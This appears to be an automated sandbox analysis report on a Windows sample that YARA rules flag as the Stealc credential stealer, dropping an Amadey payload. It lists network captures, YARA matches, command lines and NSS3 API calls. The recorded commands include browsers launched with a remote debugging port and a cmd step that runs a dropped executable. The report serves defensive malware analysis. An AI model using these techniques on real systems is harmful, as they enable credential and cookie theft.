_.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor
2024-12-07 14:06:22 UTC	423	IN	Data Raw: 31 61 30 0d 0a 61 5c 75 30 30 33 64 2b 61 7d 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 29 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 53 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 65 74 20 61 5c 75 30 30 33 64 6e 75 6c 6c 3b 69 66 28 21 52 64 29 72 65 74 75 72 6e 20 61 3b 74 72 79 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 63 5c 75 30 30 33 64 5c 75 30 30 33 65 63 3b 61 5c 75 30 30 33 64 52 64 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 5c 22 6f 67 62 2d 71 74 6d 23 68 74 6d 6c 5c 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 62 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 62 2c 63 72 65 61 74 65 53 63 72 69 Data Ascii: 1a0a\u003d+a}if(typeof a\u003d\u003d\u003d\"number\")return Number.isFinite(a)?a\|0:void 0};Sd\u003dfunction(){let a\u003dnull;if(!Rd)return a;try{const b\u003dc\u003d\u003ec;a\u003dRd.createPolicy(\"ogb-qtm#html\",{createHTML:b,createScript:b,createScri
2024-12-07 14:06:22 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 6e 65 77 20 5f 2e 56 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 58 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 56 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 Data Ascii: 8000new _.Vd(b?b.createScriptURL(a):a)};_.Xd\u003dfunction(a){if(a instanceof _.Vd)return a.i;throw Error(\"F\");};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$d\u003dfunction(a){if(a instanceof _.Kd)if(a instanceof _.Kd)a\u003da.i;else throw Error(
2024-12-07 14:06:22 UTC	1390	IN	Data Raw: 74 3b 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3f 61 5c 75 30 30 33 64 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 61 29 5b 30 5d 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 6d 65 5c 75 30 30 33 Data Ascii: t;c.getElementsByClassName?a\u003dc.getElementsByClassName(a)[0]:(c\u003ddocument,a?a\u003d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.me\u003

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49713	216.58.208.228	443	8096	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-07 14:06:21 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-07 14:06:22 UTC	933	IN	HTTP/1.1 200 OK Version: 702228742 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 07 Dec 2024 14:06:22 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-07 14:06:22 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-07 14:06:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49718	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 14:06:24 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Lp2cm84rNS8nVma&MD=ernD8ueh HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-07 14:06:25 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 3500ec69-f07c-47b6-964e-2b1cb3e9de5a MS-RequestId: 4e7db887-94da-416d-a7b7-c7f21ccc5034 MS-CV: hyfqilcUGE6kuMdw.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 07 Dec 2024 14:06:24 GMT Connection: close Content-Length: 24490
2024-12-07 14:06:25 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-12-07 14:06:25 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49723	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 14:06:26 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-07 14:06:26 UTC	478	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=67945 Date: Sat, 07 Dec 2024 14:06:26 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49728	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 14:06:28 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-07 14:06:28 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=200408 Date: Sat, 07 Dec 2024 14:06:28 GMT Content-Length: 55 Connection: close X-CID: 2
2024-12-07 14:06:28 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49741	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 14:07:04 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Lp2cm84rNS8nVma&MD=ernD8ueh HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-07 14:07:04 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: d5763f8b-b19f-4c32-b6f5-d8816e0efa32 MS-RequestId: af3bacb6-b8fe-44de-9b11-44bbfe1fbbc9 MS-CV: uJ6xslxCCkGu/Y2k.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 07 Dec 2024 14:07:03 GMT Connection: close Content-Length: 30005
2024-12-07 14:07:04 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-12-07 14:07:04 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Target ID:	0
Start time:	09:06:06
Start date:	07/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x610000
File size:	5'189'120 bytes
MD5 hash:	DF2148240759F523A1F6222D9DDE9593
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1979370069.0000000000B3E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1978262092.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1978262092.00000000006DC000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:06:17
Start date:	07/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:06:18
Start date:	07/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2252 --field-trial-handle=1960,i,3989721194292092949,15909847573822481878,262144 /prefetch:8
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:06:28
Start date:	07/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:06:28
Start date:	07/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2176,i,5053567703941882623,5826024289119121658,262144 /prefetch:3
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:06:28
Start date:	07/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	09:06:29
Start date:	07/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2348 --field-trial-handle=2060,i,13102130141342141745,5107454723265991497,262144 /prefetch:3
Imagebase:	0x7ff7f97c0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	09:07:02
Start date:	07/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\JDGIECGIEB.exe"
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	09:07:02
Start date:	07/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	09:07:02
Start date:	07/12/2024
Path:	C:\Users\user\Documents\JDGIECGIEB.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Documents\JDGIECGIEB.exe"
Imagebase:	0x150000
File size:	3'197'440 bytes
MD5 hash:	EA30F894FE762202951845239534C957
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000002.2019078074.0000000000151000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	09:07:05
Start date:	07/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x5b0000
File size:	3'197'440 bytes
MD5 hash:	EA30F894FE762202951845239534C957
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000002.2050408210.00000000005B1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	09:07:07
Start date:	07/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x5b0000
File size:	3'197'440 bytes
MD5 hash:	EA30F894FE762202951845239534C957
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000012.00000002.2062939332.00000000005B1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	09:08:00
Start date:	07/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x5b0000
File size:	3'197'440 bytes
MD5 hash:	EA30F894FE762202951845239534C957
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000002.2644831254.00000000005B1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Function 6CB66E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CCB2120,6CB67E60), ref: 6CB66EBC
TlsGetValue.KERNEL32 ref: 6CB66EDF
EnterCriticalSection.KERNEL32(?), ref: 6CB66EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6CB66F25

Part of subcall function 6CB3A900: TlsGetValue.KERNEL32(00000000,?,6CCB14E4,?,6CAD4DD9), ref: 6CB3A90F
Part of subcall function 6CB3A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CB3A94F

PR_Unlock.NSS3 ref: 6CB66F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6CB66FA9
TlsGetValue.KERNEL32 ref: 6CB670B4
EnterCriticalSection.KERNEL32(?), ref: 6CB670C8
PR_CallOnce.NSS3(6CCB24C0,6CBA7590), ref: 6CB67104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB67117
SECOID_Init.NSS3 ref: 6CB67128
PORT_Alloc_Util.NSS3(00000057), ref: 6CB6714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB6717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB671A9
PR_NotifyAllCondVar.NSS3 ref: 6CB671CF
PR_Unlock.NSS3 ref: 6CB671DD
free.MOZGLUE(?), ref: 6CB671EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB67208
free.MOZGLUE(00000000), ref: 6CB67221
free.MOZGLUE(00000001), ref: 6CB67235
TlsGetValue.KERNEL32 ref: 6CB6724A
EnterCriticalSection.KERNEL32(?), ref: 6CB6725E
PR_NotifyCondVar.NSS3 ref: 6CB67273
PR_Unlock.NSS3 ref: 6CB67281
SECMOD_DestroyModule.NSS3(00000000), ref: 6CB67291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB672B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB672D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB672E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB67301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB67310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB67335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB67344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB67363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB67372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6CCA0148,,defaultModDB,internalKeySlot), ref: 6CB674CC
free.MOZGLUE(00000000), ref: 6CB67513
free.MOZGLUE(00000000), ref: 6CB6751B
free.MOZGLUE(00000000), ref: 6CB67528
free.MOZGLUE(00000000), ref: 6CB6753C
free.MOZGLUE(00000000), ref: 6CB67550
free.MOZGLUE(00000000), ref: 6CB67561
free.MOZGLUE(00000000), ref: 6CB67572
free.MOZGLUE(00000000), ref: 6CB67583
free.MOZGLUE(00000000), ref: 6CB67594
free.MOZGLUE(00000000), ref: 6CB675A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6CB675BD
free.MOZGLUE(00000000), ref: 6CB675C8
free.MOZGLUE(00000000), ref: 6CB675F1
PR_NewLock.NSS3 ref: 6CB67636
